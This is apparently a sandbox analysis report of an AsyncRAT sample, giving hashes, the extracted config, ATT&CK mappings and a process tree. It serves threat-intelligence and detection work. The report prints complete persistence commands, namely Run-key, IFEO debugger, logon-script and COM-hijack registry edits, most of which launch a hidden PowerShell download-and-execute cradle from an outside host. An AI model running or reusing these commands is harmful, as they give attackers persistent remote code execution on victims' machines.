asyncrat | 9bc564c6546b535a3407e5766688fa1c8e6345eded82bc9bfe7d8ac840666fd7

General

Target
kiwi toi choi112.exe
Size 66KB
Sample261001-ls2m2avakd
SHA256 9bc564c6546b535a3407e5766688fa1c8e6345eded82bc9bfe7d8ac840666fd7
MD5 47fbfd7c3869c665ea06ab91712574cb
SHA1 186c4cf6155c05279454eb343ba2e824445a2351
SHA512 afc462be5dbe74a696fd80667bbdc314844cd7ec8e76737099561fb40ee9470d11ef501e6f97b3d455ddc689958a885991abc45fc89c9fd329df060058ac1b2d
SSDEEP 768:Kv7RJO/30h/ffCtak4ZMgRezMYyC8q9wwTVi+BA0jnE2DebygDigTWhkvOjp9W/w:O03w1kRQYyjxW92b1FCSw9+wpJpLT5x
TLSH
T14F633A043BE8452BF2BE4BBD98F222484679FA236512DE8D1CD411DA0673B85DE417BF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence privilege_escalation rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://tsntxe2.buzz/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

AIYQYKdJljIh

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
22	1840	powershell.exe
23	1840	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1840	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 5 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdateSvc = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdateOnce = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5200	cmd.exe
2448	cmd.exe
2708	cmd.exe
5496	cmd.exe
5388	cmd.exe
4104	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	kiwi toi choi112.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	kiwi toi choi112.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kiwi toi choi112.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\WOW6432Node	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\WOW6432Node\CLSID	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\Temp\\payload.dll"	reg.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
4372	kiwi toi choi112.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4372	kiwi toi choi112.exe
Token: SeDebugPrivilege	1840	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 4104	4372	kiwi toi choi112.exe	89
PID 4372 wrote to memory of 5200	4372	kiwi toi choi112.exe	91
PID 4372 wrote to memory of 2448	4372	kiwi toi choi112.exe	93
PID 4104 wrote to memory of 3000	4104	cmd.exe	95
PID 4372 wrote to memory of 2708	4372	kiwi toi choi112.exe	96
PID 5200 wrote to memory of 4500	5200	cmd.exe	97
PID 4372 wrote to memory of 5496	4372	kiwi toi choi112.exe	99
PID 4372 wrote to memory of 5388	4372	kiwi toi choi112.exe	101
PID 2448 wrote to memory of 5480	2448	cmd.exe	103
PID 2708 wrote to memory of 3488	2708	cmd.exe	104
PID 5496 wrote to memory of 5008	5496	cmd.exe	105
PID 5388 wrote to memory of 624	5388	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\kiwi toi choi112.exe
"C:\Users\Admin\AppData\Local\Temp\kiwi toi choi112.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3000
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5200
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4500
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:5480
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:3488
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5496
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1840